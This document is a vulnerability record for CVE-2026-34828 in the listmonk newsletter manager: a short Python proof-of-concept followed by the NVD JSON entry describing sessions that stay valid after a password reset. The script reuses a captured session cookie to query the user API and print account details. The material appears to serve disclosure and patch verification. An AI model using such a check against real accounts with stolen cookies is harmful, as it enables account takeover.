CVE-2026-34828

import requests # Proof of Concept for CVE-2026-34828 # This script demonstrates that a session remains valid after a password change. TARGET_URL = "http://localhost:9000" # 1. Attacker has obtained a valid session cookie (e.g., via XSS or physical access) attacked_session_cookie = "valid_session_id_before_password_change" headers = { "Cookie": f"listmonk_session={attacked_session_cookie}" } # 2. Victim resets their password via the UI (Action performed by victim) # In a vulnerable version, the server does not invalidate existing sessions. # 3. Attacker attempts to access the account using the old session cookie response = requests.get(f"{TARGET_URL}/api/user", headers=headers) if response.status_code == 200: print("[+] Vulnerability Confirmed: Old session is still valid after password reset.") print(f"[+] Current User Info: {response.json()}") else: print("[-] Session invalid or vulnerability patched.")

{"cve": {"id": "CVE-2026-34828", "sourceIdentifier": "[email protected]", "published": "2026-04-02T18:16:33.713", "lastModified": "2026-04-15T17:45:10.493", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "listmonk is a standalone, self-hosted, newsletter and mailing list manager. From version 4.1.0 to before version 6.1.0, a session management vulnerability allows previously issued authenticated sessions to remain valid after sensitive account security changes, specifically password reset and password change. As a result, an attacker who has already obtained a valid session cookie can retain access to the account even after the victim changes or resets their password. This weakens account recovery and session security guarantees. This issue has been patched in version 6.1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-613"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nadh:listmonk:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.1.0", "versionEndExcluding": "6.1.0", "matchCriteriaId": "BB35DDE9-7F69-4344-A42C-C17C1F1D70A5"}]}]}], "references": [{"url": "https://github.com/knadh/listmonk/commit/db82035d619348949512dafdaf60c86037cafc9e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/knadh/listmonk/releases/tag/v6.1.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/knadh/listmonk/security/advisories/GHSA-h5j9-cvrw-v5qh", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}